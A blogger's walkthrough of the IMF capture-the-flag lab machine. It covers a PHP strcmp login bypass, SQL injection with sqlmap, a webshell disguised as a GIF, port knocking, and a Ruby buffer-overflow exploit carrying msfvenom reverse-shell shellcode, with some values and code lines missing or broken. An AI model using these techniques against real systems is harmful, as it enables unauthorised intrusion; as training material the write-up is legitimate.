Things have been OK for me except that I'm a zombie now

B2R: IMF Walkthrough

After mapping the network and finding our IP address at, we can add it to our /etc/hosts temporarily to make things a little easier for us.

echo "     imf" >> /etc/hosts

Lets see what kind of machine we’re dealing with.

Ok, so web only. Great. nikto didn’t reveal any low-hanging fruit so let’s dive into the source.

Check that out! Our first flag was hidden in http://imf/contact.php. This looks like base64. After decoding we get the clue allthefiles. Lets keep looking.

Going back to the source code, I found a javascript file that also looked like it was base64 but it didn’t return any results. After a while of going in circles I took my dog for a walk and pondered about what ‘allthefiles’ could mean. When I came back and looked over the source code again, I saw this:

All the files, ey?

If we visit that directory on our webapp

Ok, no DB here. We’re dealing with a hardcoded password which means we’re dealing with an equaltiy operator on the backend or possibly the strcmp() function. I messed around with nullbyte string termination exploits here for a while but ultimately ended up nowhere. Let’s assume we’re dealing with strcmp since it’s easier to fool a function than to fool an operator.

I’m not very good with PHP, but I’m guessing that I need this function to return a 0 so I fired up and started trying to break it. Turns out if you feed it the wrong type (it expects two strings), it seems to return a 0.

So if we can feed this function an array from the web form, we might be able to bypass the password check. By changing the name of the form’s password field from pass to pass[], we can do just that.

With the modified form, a BS password, and a username from the Contacts page, we get…

The decoded flag just has us click through to the CMS

root@kali:~                                                                                                                                                                                     ⍉
❯❯ echo Y29udGludWVUT2Ntcw== | base64 -d

The CMS has 3 pages to choose from and none of them seemed to have any relevant info. I tried (too long) to use LFI exploits here, modifying URLs, headers, HTTP methods… nothing. I was trying to enter an empty pagename for like the 100th time when I fat fingered the “enter” key and hit ' + Enter at the same time when I saw this:

SQL! Alright, fired up sqlmap

Looks like we have an image at imfadministrator/images/whiteboard.jpg

The QR Code is our next flag flag4{dXBsb2FkcjkOMi5waHA=}

root@kali:~                                                                                                                                                                                     ⍉
❯❯ echo dXBsb2Fkcjk0Mi5waHA= | base64 -d

We navigate to http://imf/imfadministrator/uploadr942.php and we get our uploader. After messing around with it a bit we can see that the response html from a successful upload has a hash of some sort. I’m guessing its the hashed version of the filename in the /uploads folder.

Maybe we can craft a malicious image with a reverse_tcp meterpreter payload then insert the new page into our db so it gets executed.

Let’s upload it!

Haha! Whoops. Alright what about just regular command execution:

cat <<EOF > muahaha.gif
<?php \`id\` ?>

Since CrappyWAF detects functions calls, we should modify our script to take the command from a query parameter. Let’s replace id with $cmd=$_GET['cmd']; echo $cmd and try again.

Lets get a shell that’s easier to work with with msfvenom.

It’s time to get a sense of the machine we’re in. “Presence”

  • interesting processes - knockd, sshd
  • interesting files (world readable, executable root files, etc) - /usr/local/bin
    • cat /usr/local/bin/access_codes #> SYN 7482,8279,9467
    • /usr/local/bin/agent - connect to some sort of agent portal; download it
  • listening ports netstat -plnt - 7788

It looks like we’ve got a hidden service running on 7788. To enable it, we have to ‘knock’ in the right order so the firewalll opens up. If we send SYN packets to 7482 8279 9467, it might open up.

Lets decompile our downloaded binary at

We can see on line 49 where the authentication happens. It’s comparing against a string that was defined on line 37, 0x2ddd984. If we pop this into an online hex converter, we get 48093572

After navigating through our binary, we have a place where we have user input. This is looking like it’s going to be a buffer overflow exploit. Once we download our application and run it through gdb, we confirm that the report function is vulnerable.

Bingo. Plug 0x41366641 into pattern_offset we see that our buffer ends at 168, meaning our EIP register is at 169. If we inspect the assembly for the report function, we see that our report string is stored in EAX. Because we have control of both EIP and EAX, it makes sense that we use this control to point one to the other. We can place our exploit at the beginning of EAX by simply injecting it as the “report”. We’ll then pad the input string until it’s 168 characters long. Then, well tell EIP that it should return to the beginning of EAX where our payload is waiting. If we search to see if EAX is ever called, we can use that address in EIP.

Lets generate our shellcode and start to write the exploit.

msfvenom -p linux/x86/shell/reverse_tcp LHOST= LPORT=4444 -f ruby -b "\x00\x0a\x0d"
require 'socket'

host = ''

if ARGV[0] == 'knock'
  [7482, 8279, 9467].each do |port|
    puts "knocking on #{port}"
    `nmap -Pn --host_timeout 201 --max-retries 0 -p #{port} #{host} &>/dev/null`

buf = 
"\xda\xd4\xd9\x74\x24\xf4\x58\xbb\xc8\x28\xf5\xc3\x29\xc9" +
"\xb1\x12\x31\x58\x1a\x83\xc0\x04\x03\x58\x16\xe2\x3d\x19" +
"\x2e\x34\x5e\x09\x93\xe8\xca\xac\xa3\x69\x83\x50\x0e\xf5" +
"\x04\xc9\xf9\x36\x82\xef\x58\xde\xd0\xef\x8b\x43\x5d\x0e" +
"\xc1\x1d\x05\x81\x47\xb5\x3c\xc0\x2b\xf4\xbe\xb1\xab\xbf" +
"\xbe\xa5\xb3\xbf\x37\x26\x72\x54\x4b\x68\x96\xa7\xe3\x17" +

eip = "\x63\x85\x04\x08"

exploit = buf + "A"*70 + eip

s =, 7788)
puts s.readpartial(512)

puts s.readpartial(512)

puts s.readpartial(512)
s.write(exploit + "\n")

Let’s run it!

And there we have it! Thanks for reading!